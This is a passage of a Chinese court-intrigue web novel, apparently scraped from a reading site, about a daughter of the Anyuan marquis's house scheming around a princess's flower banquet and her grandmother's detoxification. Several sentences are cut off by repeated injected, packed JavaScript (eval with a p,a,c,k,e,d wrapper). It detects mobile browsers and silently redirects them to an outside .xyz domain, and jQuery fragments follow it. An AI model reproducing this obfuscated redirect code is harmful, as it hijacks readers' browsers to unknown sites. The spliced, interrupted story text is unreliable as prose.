事情却并非如此简单。 之前宋昭前往陶然楼赴宴,便是受了宋萧然的意。 却不曾想,竟会惹下这么大的祸事。 相府差人送来了礼金,说明萧止已经注意到了安远侯府。 随后,宫中敲打,若非宋萧然当着皇帝、太后的面上演了一场苦肉计,只怕而今的安远侯府已经无法安然脱身。 要是此事再前往端淑大长公主的赏花宴—— 宋萧然微微眯起了眸子。 这无疑是要将安远侯府捧到前面去,让所有人当做箭靶子。 即便能够全身而退,只怕也是后患无穷! 所以—— 端淑大长公主的赏花宴不能去! 权衡利弊,宋萧然并未接话,而是端过了一旁桌案上的茶盏轻轻地呷了一口,他微微蹙眉:“贾荣,这茶汤凉了,去给我换一盏来。” 贾荣躬身应了一声:“是。” 他跟在宋萧然身边多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604880|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,一直得以重用,心性绝非常人可比。 自是明白侯爷心中所想,贾荣经过宇文胤珣身边时,微一颔首:“小公爷,可要为您也换一盏茶?今日刚巧宫中赏下来了寿眉茶,小公爷可要品尝一二?” 宇文胤珣莞尔一笑。 虽觉得这安远侯府中人人都是九转十八弯的心肠,但面子上还是做足了工夫:“那边有劳了。” 贾荣颔首,立即朝着矗立侍奉茶点的小厮们努了努下巴。 须臾,小厮们重新奉了茶。 宇文胤珣余光始终凝固在宋萧然的身上,却迟迟不肯用茶。 皇孙贵胄,世家大族,即便荒唐昏聩如武安侯府的崔谦岳也知道更换茶点有逐客之意,更不要宇文胤珣出身尊贵,岂会不知其中道理。 然而,他却端坐如钟,显然是并没有离去的打算。 宋萧然微微蹙眉,心中虽有不悦,但面上却不显丝毫:“贤侄,尝尝这寿眉茶味道如何 ?” 宫中赏赐贡茶,已然说明了宋萧然的选择。 换茶既有逐客之意,也是在告诉宇文胤珣,安远侯府的选择。 宇文胤珣阖了阖盏盖轻品一口:“嗯!果然是好茶,只不过……” 他话锋一转,抬眸朝着宋萧然笑道:“皇外祖父曾说过这寿眉茶味道寡淡,不如龙井、碧螺春茶香浓郁,茶汤碧绿,寻常用之一二尚可,若是时间长久,便会觉得无趣,无味,无意。” 这话—— 宋萧然自然是明白其中深意。 宇文胤珣这是在告诉他,即便他的母亲现下已无权柄在手,仍是神宗独女,先帝最重之嫡长姐,当今圣上的姑母——端淑大长公主!! 依旧是安远侯府不能得罪的皇族。 宋萧然眉心拧成麻花状,只是一瞬,他眉心倏然,唇畔含笑道:“贤侄说得极是,但如现如今圣上却是独爱这寿眉茶,今秋岁贡,足足添了一倍之数。” 二人的对话,看似寻常,实则却处处陷阱,稍有不慎,微有差池,便足堕入万劫不复之境! 第65章 欢声笑语,不速之客 两相交谈,既要全了两家颜面,又要暗中较量,宋南絮在正厅外听了一会儿都觉得累得慌。 “父亲,您找我。” 宋南絮提起了裙裳,举步跨过了门槛,行至宋萧然面前,微一屈膝,端得是一副大家闺秀典范。 她的出现无疑是为刚刚的僵持打了圆场。 宋萧然微微一笑,朝宋南絮抬了抬手:“絮儿,这位是许国公府的宇文公子。” 宋南絮侧目,像是第一次见到宇文胤珣似的,眼眸微垂,微一颔首,唇畔含了一抹三分礼貌与七分疏离的微笑:“见过小公爷。” 瞧她模样依旧如昨日在陶然楼见到一般,但又有些不同之处。 宇文胤珣思量一二便知其意,他谦和微笑,合揖回礼:“宋家妹妹妆安。” 宋南絮抬眸望想宋萧然:“女儿不知父亲有外客,先行告退。” 宋萧然朝她摆了摆手:“不妨事,许国公与父亲乃是至交,你无需避讳。” “是。”宋南絮应声,在宋萧然的示意下坐了下来,却始终垂着眸子,避着宇文胤珣的视线。 宋萧然微眯着眸子,疏淡的目光在宋南絮的身上掠过。 她出谋让宋昭与姜家结亲,又为老太太宴请名医,这女儿比之五年前倒是有了不少长进。 余光瞥向一旁的用茶的宇文胤珣,宋萧然瞳眸中闪过了一丝不悦。 他留下宋南絮也是要让宇文胤珣趁着气氛尚未僵持好让他离开,然而,他却稳坐高椅,半点想要告辞之意都没有。 宋萧然只看了宋南絮一眼,便将主意打到了她的身上:“絮儿,你祖母身子可好些了?” 宋南絮刚刚在门外听得真切,自是知道宋萧然言下之意。 她起身屈膝:“回父亲,祖母用了夏侯老先生的药后身体好了不少,今儿晌午还多进了半碗银丝面。” 宋萧然颔首:“如此甚好。” 他的话虽然是对宋南絮说的,但眼睛却始终看着宇文胤珣。 宇文胤珣岂能听不出他言下之意。 既然已经搬出了安远侯府病重的老太太,那此事—— 宇文胤珣放下了手中茶盏,缓缓起身,朝着宋萧然抱拳:“既然老夫人身体欠安,自是需要夫人、小姐时时侍奉在侧,今日倒是小侄唐突了,并不知其中内情,还请宋伯父原谅则个。” “唉!”宋萧然起身行至宇文胤珣面前,扶住了他的胳膊:“不知者不怪,贤侄何需如此,着实是因家母缠绵病榻,无心交际,还请贤侄告知大长公主,改日宋某必定亲自登门。” 他已经给足了端淑大长公主的颜面,搬出了病种的老太太,即便大长公主亲自登门也挑不出什么理。 宇文胤珣:“在下告辞。” 宋萧然侧目瞥了一眼贾荣:“替我送送宇文公子。” 宇文胤珣走到了正厅门外时,倏然驻足,微微侧目,目光深深地看了宋南絮一眼。 宋南絮微笑颔首。 待到宇文胤珣离去后,宋南絮转头看向了宋萧然:“父亲,可是有什么为难之处?” “嗯——” 宋萧然声音低沉,闭上了双眼,长舒心头一口浊气。 再次睁开眼,眼底是藏不住的恼火:“此子难缠至极!” 宋南絮走上前去,端起了茶盏奉到了宋萧然面前:“父亲无需恼火,不过是一场赏花宴而已。” 宋萧然挑眉,轻哂了一声,说道:“呵!你想得倒是简单!” 他接过了宋南絮手中茶盏,轻啜了一口茶:“端淑大长公主府的赏花宴往来皆权贵,若没有任何利益,你以为她为何会给咱们府下帖子!” 宋南絮莞尔:“或许是父亲多心了,既是赏花宴,那必然皆是女眷而已,能翻起什么水花来。” 宋萧然闻言,微微蹙眉。 刚刚他还觉得宋萧然有了长进,现在听了她的话,只觉得她是小女儿家的心思。 眼里稍稍有了一丝失望。 女儿即便再有出息又能怎样?! 即便如端淑大长公主昔日风光无限,如今也不是—— 往后安远侯府还是要靠宋昭。 思及此,宋萧然朝着门外摆了摆手,略有不耐烦地说道:“罢了罢了,你先退下吧。” 宋萧然传她到正厅说话,必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610528|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不只是为了询问祖母的身体情况,却因大长公主府送来请柬一事被闹得头疼,故而才并未讲清楚其中缘由。 宋南絮并未多言,屈膝道了一声“是”后,便退出了正院。 她并未急着回墨香居,而是径自去了宋昭的铭书院。 每天这个时候,崔氏必然带着宋涵烟来探望宋昭,宋南絮刚一踏进铭书院,就听见了崔氏的笑声。 “你们兄妹二人,惯会讨我欢心。” 宋涵烟依偎在崔氏怀中:“哪里是我们讨了母亲的欢喜,分明是母亲瞧见了阿兄身体好转,看什么,听什么都觉得高兴。” “烟儿说的是。”崔氏拉起了宋涵烟的手,轻轻地抚了抚:“看着你们一个个都健健康康的,比什么都让母亲高兴。” 屋里正说着话,翠珠掀了帘子,宋南絮进了门。 仅一瞬,原本屋里的欢笑瞬间见然而止,仿佛宋南絮是闯进来破坏这副母慈子孝画面的不速之客。 崔氏的笑容倏地僵在了脸上:“絮儿,你怎么来了?” 宋南絮并不在意:“原想着这会子母亲应该在阿兄这里便过来瞧瞧。” 崔氏朝她招了招手:“快过来坐。” 宋南絮走了过去,微垂下了眸子,看了一眼靠在崔氏怀中的宋涵烟:“妹妹也在。” 宋涵烟懒懒地抬了一下眼皮儿,未曾起身,只抿唇一笑:“若是知道长姐也要来看望阿兄,我便和母亲寻你一道过来了。” 宋南絮好似并未听见宋涵烟言语中炫耀的意味:“还好母亲和妹妹并未去墨香居,不然也是扑了个空,先前父亲传我去正厅询问祖母身体境况,却不知父亲哪里有贵客登门,便改路来了这儿。” 宋昭闻言,抬眸看向宋南絮:“父亲有客人?” “嗯。”宋南絮点了点头:“是许国公府的小公爷,说是为了其母亲端淑大长公主的赏花宴来送请柬来的。” 宋涵烟眼前一亮:“端淑大长公主的赏花宴!?” 果然—— 宋南絮莞尔,坐了翠珠搬来的凳子上:“是呀,妹妹也听说过大长公主的赏花宴么?” 第66章 诡诈心思,既要又要 端淑大长公主的赏花宴!! 宋涵烟倏地瞪大了眼睛。 那可是金陵城中名门闺女趋之若鹜的宴会,要是能够得到端淑大长公主的青睐,说不定—— 宋涵烟的眼前浮现出了那日在陶然楼中惊鸿一瞥的翩翩佳公子——宇文胤珣。 他不仅有着俊美的容貌,而且还有着高贵的出身,手握权柄的母亲,要是能够嫁给宇文胤珣的话,她又何需在安远侯府中讨好崔氏。 如若能够一步登天,那她的母亲就是端淑大长公主的亲家,未来许国公的丈母,届时崔氏的身份也要逊色三分,说不定,父亲还会将母亲抬为平妻,又何需做那见不得光的外室。 思及此,宋涵烟眼中闪过希望的光亮。 她难得对宋南絮有了好脸色:“长姐,你是说小公爷亲自给咱们府中女眷送了请柬?” 很好! 宋南絮眼底闪过了一抹狡黠之色。 宋涵烟果然动心了! 她莞尔一笑,微微颔首:“是呀,不过,父亲回绝了小公爷。” “为什么!?” 一瞬间,宋涵烟忘记了要装乖巧、温顺,声音里透着不悦与不满:“如此天大的好事,父亲怎么能拒绝呢?” 眼瞧着宋昭朝自己使了个眼色,宋涵烟突然意识到了什么似的,尴尬地掩饰刚刚的失态:“我是说,小公爷亲自登门,父亲为什么要回绝呢?” 宋南絮微笑解释道:“这是祖父定下来的规矩,凡安远侯府女眷不得参与任何权贵举办的宴会。” 这一点宋涵烟的确不知道。 自她入府后,能够结交的京中贵女也的确有限,官职、爵位皆不如安远侯。 她也从未见过有权贵家中宴席邀请过父亲、母亲,唯有宋昭参加些劳什子的诗会而已。 原来,这安远侯府之中竟还有这么一条规矩。 那—— 宋涵烟蹙起了眉头。 等她将来议亲,那还能有什么好人家? 该不会,父亲和崔氏要将自个儿许给什么小门小户吧? 那她这一辈子还有什么前途指望?! 不! 她绝不允许这样的事情发生。 宋涵烟的眼珠子在眼眶之中转了转,朝宋南絮笑着问道:“可那毕竟是大长公主,父亲此举难道不怕得罪人么?长姐,你若是想去的话——” 呵! 宋南絮心中冷笑。 明明是她想去,为了自己不破坏祖父定下来的规矩,偏偏要扯上自己。 宋南絮微微摇了摇头:“我在庵堂五年的时间,早已经清净惯了,最不喜的就是觥筹交错的宴席,妹妹真想去的话,或许求一求父亲,他那么疼你,没准会为了妹妹破例呢。” 前世,待萧止伏诛,太后过世,新帝掌权重新与端淑大长公主交好,宋涵烟不就是恳求了宋萧然,才会让他用端淑大长公主昔日买卖官职一事相挟,成功将她嫁进了许国公府么。 宋萧然为了他和心爱之人所生的宝贝女儿,可谓是无所不用其极。 区区一个赏花宴,只要宋涵烟开口,他一定会允许她去。 宋涵烟立马微笑摇头:“既是祖父定下的规矩,我又怎好去求父亲呢。” 瞧这话说的。 端得是既要又要的好典范。 宋南絮疏淡而锐利的目光落在了宋涵烟沉思的面容之上。 她微微地眯了眯眼,送上了一记重磅消息:“对了,昨日我为祖母寻医问药时,刚好遇见了肃国公家的七小姐,她们说大长公主此次要借赏花宴之名,为小公爷寻以为佳配呢,也不知此事是否当真。” 宋南絮一瞬不瞬地看着宋涵烟。 见她脸上的表情有惊喜,有兴奋,有失落,便知她心意。 宋昭蹙起了眉头:“絮儿妹妹,你是说大长公主要为小公爷寻亲?” 宋南絮淡然微笑:“也只是听闻而已,阿兄素日不是与小公爷交好,难道不知此事么?” 这话—— 仿若一根针深深刺痛了宋昭的心。 他那里是和宇文胤珣交好,整个金陵城中谁不知他是安远侯府过继的嗣子,平日里见他一个个倒是客客气气地叫上一声世子爷,可转过头却只说他走了狗屎运,有一个用命为他换来前程的老子而已。 越是如此,宋昭就越是想要在人前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610529|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证明自己,才会前去宇文胤珣举办的诗会。 谁知道,竟然会出现这样的事情。 宋昭命人彻查那日以纱遮面之人,但,到头来却毫无头绪。 宋南絮见宋昭一副吃了苍蝇的表情忍着笑,说道:“阿兄认为,金陵城中何人家的千金贵女能入得了大长公主的眼?” 宋昭表情既难看又尴尬:“我不知道。” 宋南絮莞尔一笑:“不过是外人罢了,咱们关系这事做什么,要是被父亲听了去,说不定会责罚咱们管不住自己的嘴,倒是阿兄,我瞧你身上的伤也好的差不多了,姜家小姐送来的人参果有奇效。” 宋昭用力皱了一下眉头。 姜家!! 姜敏儿对他的心思整个金陵城中人尽皆知,可他—— 宋昭下意识抬眸看了一眼宋南絮。 若不是当年过嗣一事,他或许已经—— 而今,宋南絮在说起自己与其他女人之事,已经能做到如此淡然了,难道,这五年的光景,在她的心中当真已经没有了自己的位置?! 这五年里,宋昭曾在无数个夜晚反复的询问自己的内心。 在世子爵位与宋南絮之间所做出的选择究竟是对还是错。 看着宋南絮如此云淡风轻的模样,为什么自己的心会这么痛! 自己的目的已经达到了,宋南絮也不愿意留下来看他们上扬母慈子孝的戏码,她站了起来,朝着崔氏欠了一福:“母亲,我要去侍奉祖母用药了。” 崔氏微微颔首:“你快去吧,别耽误了你祖母用药的时辰。” “是。” 宋南絮应了一声,转身扶着翠珠的手走出了铭书院主屋。 她在门口驻足,缓缓侧目,冷冽的目光中带着冷凝的光华。 下一瞬,宋南絮便听见了宋涵烟的声音从内室传了出来:“母亲,我听闻大长公主府奢华无比,府内后花园珍惜品种的牡丹花数不胜数,您素来喜爱牡丹,若不能欣赏岂不遗憾。” 宋南絮唇角勾起了一抹冷凝的弧度。 宋涵烟这是借不成自己的名义去大长公主府的赏花宴,打上了崔氏的主意了! 第67章 熬药驱毒,祖母毒解 崔氏将宋涵烟当做心头宝,她却将崔氏当成可助她登天的梯子随意践踏。 可笑,可笑。 不过很快,崔氏就会知道宋涵烟的**,不知届时她会有怎么的表情呢。 宋南絮有些迫不及待想要看见这画面了。 大长公主府的赏花宴—— 在没有利益时,就算是崔氏和宋涵烟说破了大天去,宋萧然也不会让她们去,但是,如果有绝对诱人的利益呢? 宋南絮微微勾起了唇角。 以她对宋萧然的了解,只怕到时候会第一个冲在前头。 回到了墨香居,宋南絮留下了青雀。 “姑娘,可有事要吩咐奴婢?” 宋南絮微微颔首,行至梳妆台前,从首饰匣子的暗格里拿出了一本册子递给了青雀:“送到宇文胤珣手中。” 只要大长公主见到这本买卖官员的名字,她一定会想尽一切办法让安远侯府参加赏花宴。 “是。” 青雀应声,随后,便离开了墨香居。 临近黄昏,严氏用了第二遍药没一会儿,扶住桦木靠背椅的手倏然一紧,脸色瞬间变得煞白,她紧皱着眉头,用力地咬了一下唇:“哎呦……” “祖母,可是身子不爽利?” 宋南絮将药碗递到了李嬷嬷手中,回过身去瞧严氏。 严氏脸色越发难看,双手从椅子扶手挪到了肚子上:“我……我肚子痛,快,快传恭桶。” 嬷嬷们都是经年伺候老太太的老手,她们手脚麻利,配合默契。 遣了所有人出了荣安堂里间。 “姑娘,老太太不会有什么问题吧?” 李嬷嬷放心不下,往里间张望:“这都快半个时辰了!” 宋南絮也不知情况,招手叫来了彩玉:“你去济世堂请颜央姑娘来一趟。” “是。” 直到颜央乘坐安远侯府的马车从安仁东陆大街赶来时,严氏仍未踏出房门。 宋南絮见到颜央,立马迎了上去,将老太太的近况说了一遍。 颜央也是一愣:“这么快?” 她眨了眨一双杏子眼,抬手摸了摸下巴:“我瞧过老头子开的方子,按理说,应是在三日后起效才对……” 不多时,严氏房中传来了她一声长叹。 颜央跟着一同进了里间。 严氏已经脱了力,斜斜地靠在床边,但脸色却要比之前好上许多。 颜央检查了严氏的污秽,又给老太太搭了个脉。 她从随身所携的药箱中拿出了数十包药:“水烧纸沸腾,再将这些药放置水中用以为老夫人沐浴。” 荣安堂内出过秋莲、香凝一事,宋南絮放心不下,亲自去了灶间为祖母烧水熬药,足足几大锅的药水,使整个荣安堂满院药香。 浴桶内装满了药水,四个嬷嬷扶着严氏泡进了浴桶中。 颜央时刻观察着严氏的情况,她摸了摸浴桶中的水温:“切记不可让水温降低,始终要保持在这个温度。” “好。” 翠珠搬了把椅子过来,宋南絮就坐在严氏身边陪着,她的一只手始终放在药水里泡着,感受到水温降低,便吩咐人再熬煮药水。 两个时辰过后,严氏的身体开始出现了变化。 顺着她皮肤的肌理开始隐约有黑色液体渗出,渐渐的,原本褐色的药水变成了黑色,同时伴随的还有一股子腥味。 宋南絮瞧见了急忙对颜央询问:“颜姑娘,这……” 颜央坐在屋内打了个盹,听见宋南絮的声音,她睁开了眼,起身走了过去:“换水,继续。” 泡了两个时辰的药水澡,严氏的身上已经提不起半点力气,只能由嬷嬷和女使们搀扶着出了浴桶。 宋南絮凡事亲力亲为,不敢有片刻的怠慢。 第二桶、第三桶、第四桶…… 直至次日天亮,已再无黑色液体从严氏身体里溢出,颜央才让人将老太太从浴桶当中扶到了床榻上。 进过一夜,严氏的脸上已经褪去了死气,面色红润,散发着光泽。 颜央为其诊脉,过程中始终不发一语。 宋南絮静静地站在一旁,大气都不敢喘一声。 半晌过后,颜央双瞳一亮,脸上有了喜色:“成了!老夫人体内淤毒已经全部排了出来。” 宋南絮闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616846|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,倏地松了一口气。 一旁的四个嬷嬷也是一夜未敢合眼,生怕严氏有出什么差池。 李嬷嬷激动地握住了宋南絮的手:“姑娘……这是不是说咱们老太太身子康愈了?” 宋南絮紧抿着双唇,眼中含泪,冲着李嬷嬷重重点了点头:“嗯!” “太好了!太好了……” 宋南絮激动之余,将目光落在了颜央的身上,她仍是放心不下,启唇问道:“颜姑娘,我祖母的身体可好有其他的异样?” 颜央微一颔首:“以老太太的身子骨,活到一百零八岁也不在话下。” 听闻此话,压在宋南絮心口的一块大石头总算是放了下来。 她长长地舒了一口气,撩起了裙裳,朝着颜央一拜:“多谢颜央姑娘!” 颜央赶紧扶住了她:“不用如此,我收了你五十两诊金,自当为你尽全力,再者,既是臭老头让你来寻我,自是为后手做准备。” 提起夏侯博,颜央轻哼了一声:“做事只做一半!还要我来收拾这摊子!看我回头不拆了他的药王谷。” 宋南絮抿唇浅笑。 她倒是极喜欢颜央的性子。 张扬却不跋扈,明艳却不妖媚,鲜活的像是一轮初升的太阳。 颜央伸了个懒腰:“嗯!累了一夜,我要回去补个觉。” 她背上了自己的药箱,像是江湖儿女似的,对宋南絮一抱拳:“告辞!” 宋南絮莞尔一笑:“我送你。” 安远街距离安仁坊不算近,颜央又一夜未合眼,宋南絮命人套了马车,亲自乘车,将颜央送回了济世堂。 马车辄止。 还未等马夫打帘,一块拳头大的石头直接砸进了马车内。 颜央睁开了眼睛,瞧了一眼地上的石头,一瞬间便了脸色:“又是这群乌龟王八蛋!” 她挽起了袖子,一副要与人拼命的架势就要往马车外冲。 宋南絮赶紧拦住了她:“颜央姑娘!” 颜央回头见她朝自己微微摇头。 颜央爽利一笑:“你留在马车里,千万别出来,不过是几个龟儿子,我去收拾他们!” 第68章 不简单,极慷慨 颜央撩开了马车的帘子,站在马车前头,她双手掐腰,扬起了下巴,瞧着济世堂外**的一伙人,讥笑道:“你们这群龟儿子!欺负聋哑人算什么本事,有能耐冲你姑奶奶来!!” 她跳下了马车,直奔济世堂门口走去。 宋南絮挑开了车帘,只见济世堂外十几个彪形大汉将颜央团团围住。 颜央俯下了身子,看着抱在一块儿的济世堂伙计:“你们没事吧?” 二人开口,咿咿呀呀的说不清楚话,又对颜央比划着手势。 颜央颔了颔首,轻轻地拍了拍二人的胳膊:“放心,不会让他们白砸了咱们铺子的。” 她站了起来,脸上已没有了那股明快,取而代之的是一抹冷冽,她素手一挥,指缝之间有白色粉末如烟尘般快速散开。 颜央掩住了自己的口鼻,快速向后**。 但,显然颜央还是低估了几人。 他们动作极快捂住了口鼻,待白色烟尘散去,为首一人睨视颜央,嘴角噙着讥讽的笑:“同样的招数,你以为我们还会上当么?” 颜央的脸上却并没有丝毫的惧意,反而,她唇角还挂着似有若无的笑。 那笑容落在宋南絮的眼中,竟让她觉得这几人怕是今天要倒大霉了。 果然—— 这几人还未来得及高兴,身上像是生了虫子似的,开始在原地扭动抓挠了起来。 颜央哈哈大笑:“蠢货,同样的招数你姑奶奶会用两次么?!这痒粉可是你姑奶奶特意为你们调制的,你们好好享受吧!” “死丫头!!” 那人还想要上前,奈何身上实在是痒的厉害,别说是寻她的麻烦,就连动一下都是钻心的痒。 颜央:“别说姑奶奶没提醒你们,要是再不赶紧洗掉身上的痒粉,可是要往皮肤里钻的,到时候不抓得皮肤溃烂是停不下来的。” “你……” 几个人高马大的男人,着实是忍不住这股子钻心的痒:“死丫头,你给我们等着,早晚有你哭着求绕的那天!” 颜央丝毫不惧:“姑奶奶济世堂大门开着,随时等你们来!” 几人落下一句狠话后,边抓着身上痒便跑,来时气势汹汹,逃时灰头土脸。 宋南絮从马车上走了下来,径直来到了颜央身边:“他们是什么人?” 颜央朝几人遁逃的方向瞥了一眼,轻哂了一声道:“隔壁西街另一家医馆的人,来找麻烦不是一回两回了。” 她说着,扶着两名伙计进了济世堂,拿了药酒给二人推拿。 宋南絮并未急着离去,而是跟着她走进了济世堂,看着满地狼藉,帮着捡起了地上的药草:“为何不报官?” 颜央将伙计脱臼的胳膊复了位:“报官?呵!金陵城的官……” 她微微摇了摇头:“还是算了,况且,那间医馆和太师府有关联,他们虽然时常到我这里来找事,但,看在我师叔的面子上也不会闹出什么出格的事情来。” 颜央给小伙计上完了药,走过来捡起了地上的药材,朝着宋南絮勾起了嘴角:“再说你又怎知我没有报复回去呢。” 安仁坊西街的医馆和姜家有关联?! 宋南絮仔细想了想。 姜家孙辈当中到还真有一位三公子,娶得是江南医药世家的小姐。 这位姜三公子不爱舞文弄墨,却极是喜欢做生意,早年在江南做药材生意的时候,届时的这位小姐,聘娶为妻。 只不过,这位姜府三少奶奶,却是极少人前露面。 又是姜家! 重生前,宋南絮只拘泥于安远侯府后宅的那点事,今儿与宋涵烟争衣裳,明儿和她抢点心,现在看来,着实是小家子气了,以至于,她从未发现,一项看似中立的太师府,似乎也并不像是表面看起来那么简单。 的确,试问能够历经三朝而依旧屹立不倒的人,放眼天下又能有几人。 这倒是让宋南絮对姜家越来越有兴趣了。 一个蛮老五,一个满腹经纶却又让未婚妻身处于教坊司中的姜家未来的希望,一个放任追着男人跑的独女,现下又有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋南絮模样清冷,微眯眼眸,唇角微勾时的样子,越发显得她这个人冷如寒霜,不近人情:“寻几个人,给他回春堂找点事,切莫要让他们联系上济世堂。” “是,奴婢知道怎么做。” 宋南絮轻饮一口茶,既然有人想要搅动风云,那她索性让这滩水变得更加浑浊不清。 那份关乎着大长公主名誉的买卖官员名册送到大长公主府中不到一个时辰,许国公府的马车便停在了安远侯府大门外。 上一次前来送请柬的是宇文胤珣,作为长辈宋萧然倒是可以不给他这个面前。 但,此次前来的竟是当朝的大长公主的驸马许国公——宇文渊。 不知这一次,宋萧然还能用什么借口来搪塞许国公。 不多时,彩玉掀了帘子自门外进了墨香居,行至宋南絮面前,微一屈膝:“姑娘,悠然居那位嚷着夫人去了前院正厅。” “呵!”宋南絮冷然一笑。 她就知道。 一则,崔氏架不住宋涵烟的央求。 二则,由宇文渊出面,这个面子宋萧然不会不给。 所以,这次大长公主府的赏花宴,安远侯府势必会参加。 什么老侯爷的教诲,什么不攀附皇亲国戚,什么保持中立,在绝对权势和利益面前,宋萧然皆可抛弃。 大长公主府的牡丹花尽数被毁,若要如期召开这赏花宴,唯有—— 长乐坊青花巷属于崔氏的宅子。 万事俱备只欠东风! 谁知这一股东风,竟会是宋涵烟亲自扇起来的。 临近晚膳十分,崔氏身边的田妈妈来了墨香居,彼时,宋南絮正在靠在外稍间的芙蓉软塌上假寐。 听了彩玉来报,宋南絮悠悠掀开了眼帘。 “奴婢给大小姐请安。” 宋南絮抬手压了压太阳穴:“昨夜在荣安堂伺候老太太一夜未合眼,倒是让田妈妈见笑了。” 自打田妈妈的姑娘被赶回了锦绣院,夫人虽未说怎么严厉的责罚,但也扣了三个月的月银,田妈妈面上虽然不显,但心坎里却记恨上了宋南絮。 田妈妈是个聪明人,若是将女儿送去悠然居可是要陪着宋涵烟出嫁的,说破了大天去,将来也不过是许给未来姑爷家的一个管事,要不然,就是开了脸做个通房,运气稍好一些或许能抬个姨娘。 深宅大院里的姨娘连生孩子可都是要当家主母点头应允的。 倒不如,她将姑娘送到墨香居,大小姐摽梅之期已过,用不了多久侯爷、夫人就会为她择婿,到时候,田妈妈可用文蕊是伺候侯府大小姐的丫头这的名头,和夫人要了姑娘的身契,也好给文蕊寻个富有的商贾之家,当个正头太太,一辈子吃穿不愁。 现如今,这好事只怕落不到自家闺女的身上,田妈妈难免心生怨恨。 她皮笑肉不笑地看了一眼宋南絮:“瞧大小姐这话说的,您侍奉老夫人是孝心,咱们当奴婢的自是多久等得。” 宋南絮并未为难一个婆子,只淡淡一笑,说道:“田妈妈自幼伺候母亲身身份贵重,再者,文蕊虽然犯了错,怎么也算跟我有的,念着这份主仆的情分,也应该——” 一句话,点明了主仆有别。 即便宋南絮在府中再如何不受宠,她的身份依旧是安远侯府的嫡小姐,是不容这些上不得台面的仆妇置喙半句的。 田妈妈是侯府的老人了,自然能听出宋南絮话里的意思。 但,她脸上却没有丝毫说错话的惧色:“大小姐说的是,咱们做奴婢的都是听主子差遣办事,老奴也是奉了夫人之命,特意告诉大小姐,明日端淑大长公主府设赏花宴,邀了咱们府中女眷一同前往,还请大小姐好好准备。” 说完,田妈妈敷衍似的屈了屈膝,没得宋南絮的话,便转身走出了墨香居主屋。 彩玉面有怒色,举步上前:“这老货——” 宋南絮侧目,淡淡地看了她一眼:“无妨,何必和一个无关痛痒的仆妇计较。” 彩玉跺了跺脚:“姑娘!” 宋南絮莞尔一笑。 打从一开始彩玉带着目的性进了她的院子,到现在也知道为了争取,可见她倒是个可调教的聪明人。 翠珠端着一盘洗好的枣子进入门:“彩玉近来因着府里的女使、婆子说咱家姑娘的不是,已经和人吵了……” 她放下了手中盘子,掰起了手指数了起来“一、二、三……已经吵了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642273|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六次架了。” 翠柳也跟着笑了起来:“现下府里都传咱们墨香居有个泼辣的女使,回头你老子、娘给你说婆家的时候,我看谁敢要你。” “姑娘,你瞧她们!惯会拿我说笑的。” 宋南絮莞尔:“若是府里没人要,那回头我就去外面给你找,定找一个妥帖的郎君。” 